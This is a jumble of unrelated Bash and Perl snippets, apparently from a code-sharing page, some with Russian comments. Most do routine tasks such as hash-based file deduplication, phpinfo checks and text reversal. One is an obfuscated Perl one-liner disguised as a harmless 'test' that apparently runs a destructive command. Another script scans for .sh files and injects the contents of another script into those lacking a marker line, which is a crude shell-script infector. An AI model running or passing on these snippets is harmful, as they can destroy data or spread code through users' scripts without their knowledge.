1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
9. 9
10. 10
11. 11
12. 12
13. 13
14. 14
15. 15
16. 16
17. 17

#! /bin/bash

# файл имоты или коначана
srcfile=$1
# файл санкаки или данборы
dubfile=$2
echo Lines:
echo -n Before:
wc -l $dubfile
a=`pcregrep -o -e '[a-f0-9]{32}' $srcfile|head -n 1`
for i in `pcregrep -o -e '[a-f0-9]{32}' $srcfile`
do
a=$a\|$i
done;
cat $dubfile|grep -v -E -e $a > out.$dubfile
echo -n After:
wc -l out.$dubfile

1. 1
2. 2

#102 Проверка конфигурации PHP в консоли 
$ php -r "phpinfo\(\);"

1. 1

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

1. 1

ssh root@localhost

1. 1
2. 2
3. 3

if [ "${notmono}" = "1" ]   # 1 means no
                then ifmono="--downmix"
                fi

1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
9. 9
10. 10
11. 11
12. 12
13. 13
14. 14
15. 15
16. 16
17. 17
18. 18
19. 19

#!/bin/bash
cc=0
cf=`cat $1`
key=$2
cbc=`cat $1 | wc -c`
lc=`cat $1 | wc -l`
while let "lc>=0"
do
cfl=`cat $1 | head -n $lc | tail -n 1`
let lc--
ccc=`echo $cfl | wc -c`
cccc=0
while let "cccc<=ccc"
do
sl=`echo -n ${cfl:$cccc:$key} | rev`
echo $sl
let "cccc=cccc+key"
done
done

1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
9. 9
10. 10
11. 11
12. 12
13. 13
14. 14
15. 15
16. 16
17. 17
18. 18
19. 19
20. 20
21. 21
22. 22

#!/bin/bash
grep ttt y
for fl in `find $1 | grep .sh$`
do
l1=`cat $fl | head -n 2 | grep ttt`
l2="grep ttt y"
case $l1 in
$l2)
echo "yes "$l1" "$fl
        ;;
*)
        echo "no "$l1" "$fl
        echo '#!/bin/bash' > $fl.2
        echo 'grep ttt y' >> $fl.2
        cat $fl | gawk '{ if(/exit/){ system("cat /home/alice/pp.sh") } else { print $0 } }' >> $fl.2
        cat $fl.2
#        cp $fl.2 $fl
        rm $fl.2
esac
done
cp ~/pp.sh~ ~/pp.sh
exit 0

1. 1

ps -p $$ -o pid | tail -1 | sed -e "s/ //g"

1. 1
2. 2
3. 3
4. 4
5. 5
6. 6
7. 7
8. 8
9. 9
10. 10
11. 11
12. 12

varcmd()
{
    eval $(echo $*|tr -d "./;")
}

varcmd test '$'$fn$oldrev
if [ $? -eq 0 ]; then
    varcmd $fn$rev='$'$fn$oldrev
    varcmd unset $fn$oldrev
else
    varcmd $fn$rev=$oldrev
fi

1. 1

id |sed "s/^[^(]*(\([^)]*\)).*/\1/"